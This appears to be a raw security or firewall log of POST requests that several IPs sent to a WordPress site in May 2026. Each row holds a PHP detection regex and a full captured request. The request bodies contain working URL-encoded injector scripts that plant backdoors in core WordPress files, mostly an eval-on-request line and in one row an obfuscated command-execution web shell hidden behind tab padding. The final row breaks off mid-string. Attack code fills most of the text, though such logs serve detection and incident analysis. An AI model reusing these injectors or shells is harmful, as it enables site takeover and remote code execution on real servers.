Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvERxvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWypKIyp3EmVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:6037\n\nDI=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status413.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524itm1%2520%253D%2520%2527737%2527%253B%2524itm2%2520%253D%2520%2527973%2527%253B%2524itm3%2520%253D%2520%252756d%2527%253B%2524itm4%2520%253D%2520%2527865%2527%253B%2524itm5%2520%253D%2520%2527c5f%2527%253B%2524itm6%2520%253D%2520%2527657%2527%253B%2524itm7%2520%253D%2520%2527468%2527%253B%2524itm8%2520%253D%2520%2527727%2527%253B%2524itm9%2520%253D%2520%2527656%2527%253B%2524itm10%2520%253D%2520%25275f6%2527%253B%2524itm11%2520%253D%2520%2527765%2527%253B%2524itm12%2520%253D%2520%2527f63%2527%253B%2524itm13%2520%253D%2520%25276f7%2527%253B%2524itm14%2520%253D%2520%2527365%2527%253B%2524itm15%2520%253D%2520%2527174%2527%253B%2524itm16%2520%253D%2520%252775f%2527%253B%2524itm17%2520%253D%2520%2527e67%2527%253B%2524publish_content1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm1.%2524itm2.%2527746%2527.%2524itm3%2529%253B%2524publish_content2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527736%2527.%2524itm4.%25276c6%2527.%2524itm5.%2524itm6.%2527865%2527%2529%253B%2524publish_content3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527657%2527.%2527865%2527%2529%253B%2524publish_content4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2527173%2527.%2524itm1.%2524itm7.%2524itm8%2529%253B%2524publish_content5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2527f70%2527.%2524itm9%2529%253B%2524publish_content6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527.%2527472%2527.%2527656%2527.%252716d%2527.%2524itm10.%2524itm11.%2527745%2527.%2524itm12.%25276f6%2527.%2527e74%2527.%2527656%2527.%2527e74%2527%2529%253B%2524publish_content7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%252736c%2527.%2524itm13.%2524itm14%2529%253B%2524dataflow_engine%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527646%2527.%2524itm15.%2527616%2527.%252766c%2527.%2524itm13.%2524itm16.%2527656%2527.%2524itm17.%2527696%2527.%2527e65%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524dataflow_engine%255D%2529%2529%257B%2524dataflow_engine%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524dataflow_engine%255D%2529%253Bif%2528function_exists%2528%2524publish_content1%2529%2529%257B%2524publish_content1%2528%2524dataflow_engine%2529%253B%257Delseif%2528function_exists%2528%2524publish_content2%2529%2529%257Bprint%2520%2524publish_content2%2528%2524dataflow_engine%2529%253B%257Delseif%2528function_exists%2528%2524publish_content3%2529%2529%257B%2524publish_content3%2528%2524dataflow_engine%252C%2524dchunk_comp%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524dchunk_comp%2529%253B%257Delseif%2528function_exists%2528%2524publish_content4%2529%2529%257B%2524publish_content4%2528%2524dataflow_engine%2529%253B%257Delseif%2528function_exists%2528%2524publish_content5%2529%2526%2526function_exists%2528%2524publish_content6%2529%2526%2526function_exists%2528%2524publish_content7%2529%2529%257B%2524flag_elem%253D%2524publish_content5%2528%2524dataflow_engine%252C%2522r%2522%2529%253Bif%2528%2524flag_elem%2529%257B%2524holder_descriptor%253D%2524publish_content6%2528%2524flag_elem%2529%253B%2524publish_content7%2528%2524flag_elem%2529%253Bprint%2520%2524holder_descriptor%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:45:09","52.232.35.131","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> DH:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/import.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527hPNvCT%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvERtvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAioaEyoaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:2033\n\nDH=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/import.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527hPNvCT%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:45:12","43.230.201.87","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Yq:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/import.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527hPNvCT%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvJKRvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvZy9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:2033\n\nYq=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/import.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527hPNvCT%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:45:16","129.121.41.228","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> xx:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/import.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527hPNvCT%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvrUtvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzSwL2IjqPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:2033\n\nxx=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/import.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527hPNvCT%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:45:18","78.142.18.172","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> kl:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/import.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527hPNvCT%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvn2jvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOupzkyK3Ein2IhplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:2033\n\nkl=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/import.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527hPNvCT%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:45:20","144.76.215.54","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> ef:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/import.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527hPNvCT%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%2